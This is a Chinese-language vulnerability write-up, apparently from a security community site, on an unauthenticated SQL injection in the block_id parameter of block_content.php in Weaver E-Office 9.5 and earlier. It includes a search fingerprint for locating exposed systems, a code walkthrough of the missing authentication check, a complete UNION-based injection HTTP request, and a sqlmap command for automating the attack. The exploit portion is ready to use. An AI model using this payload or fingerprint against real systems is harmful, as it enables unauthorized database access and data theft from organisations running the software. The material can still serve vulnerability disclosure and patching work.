xiao1star2025-08-07文章来源:SecHub网络安全社区
泛微 E-Office 是泛微网络科技推出的一款轻量级办公自动化(OA)系统,主要面向中小型企业,提供包括公文流转、审批流程、通讯录、公告通知、日程安排等基础办公功能,帮助企业实现无纸化办公与流程管理的标准化。该系统中的block_content.php 接口处存在SQL注入漏洞,未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息。
app="泛微-EOffice"
e-office <=9.5
我们先看看鉴权了的代码是个什么样子
分析:可以看到这个代码是接收到了前端传递过来的userid
,而且呢直接就拼接到了sql语句上的一个大动作,接着就直接酷酷执行sql语句了,这不妥妥的sql注入漏洞吗,但是我们要注意我们的代码开头文件包含了inc/auth.php
,这打眼一看不就是一个鉴权文件吗
分析:这就是auth.php
中的相关代码,可以看到获取Session中的LOGIN_USER_ID
,然后进行一系列的鉴权操作,因此想要实现这个sql注入必须先登录后台
首先直接来到/general/new_mytable/
下的block_content.php
分析:可以看到这个没有文件包含inc/auth.php
,这个是无鉴权的,接着可以看到接收了来自前端的block_id
,然后直接拼接到了sql语句中,然后直接调用exequery
去执行sql语句,中间没有任何过滤
GET /general/new_mytable/block_content.php?block_id=1%20UNION%20ALL%20SELECT%20CONCAT(0x71787a6a71,IFNULL(CAST(md5(123456)%20AS%20NCHAR),0x20),0x7171627671)--%20- HTTP/1.1
Host:
Accept-Encoding: gzip
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
sqlmap测试
sqlmap -r 你的数据包 --batch -p block_id
GET /general/new_mytable/block_content.php?block_id=1 HTTP/1.1
Host:
Accept-Encoding: gzip
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36